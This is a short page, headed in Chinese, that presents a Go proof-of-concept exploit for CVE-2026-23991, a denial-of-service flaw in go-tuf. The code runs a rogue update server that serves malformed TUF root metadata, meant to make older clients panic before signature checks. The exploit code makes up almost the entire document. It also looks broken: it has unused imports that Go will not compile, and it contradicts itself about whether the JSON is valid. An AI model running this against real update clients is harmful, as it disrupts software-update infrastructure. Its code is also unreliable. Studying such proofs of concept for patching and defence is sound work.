CVE-2026-23991 go-tuf 拒绝服务漏洞

// CVE-2026-23991 PoC - Malformed TUF Metadata JSON causing DoS // This PoC demonstrates a malformed TUF metadata that triggers panic in go-tuf < 2.3.1 package main import ( "fmt" "io/ioutil" "net/http" "net/http/httptest" "github.com/theupdateframework/go-tuf/cmd/tuf" ) func main() { // Malformed TUF metadata that causes panic during parsing // This JSON is valid syntax but violates TUF metadata specification malformedMetadata := `{ "signed": { "_type": "Root", "spec_version": "1.0.0", "version": 1, "expires": "invalid-date-format", "keys": { "keyid": { "keytype": "ed25519", "keyval": { "public": null } } }, "roles": { "targets": { "keyids": ["keyid"], "threshold": -1 } }, "consistent_snapshot": "not-a-boolean" }, "signatures": [] }` // Create a malicious TUF server that serves malformed metadata server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "application/json") fmt.Fprint(w, malformedMetadata) })) defer server.Close() fmt.Println("Malicious TUF server started at:", server.URL) fmt.Println("Serving malformed metadata to trigger DoS...") fmt.Println("Any client using go-tuf < 2.3.1 will panic when parsing this metadata") fmt.Println("\nMalformed metadata content:") fmt.Println(malformedMetadata) } // Note: To trigger the vulnerability, a TUF client would try to update // from this malicious server. The parser will panic before signature // verification due to invalid JSON structure per TUF specification.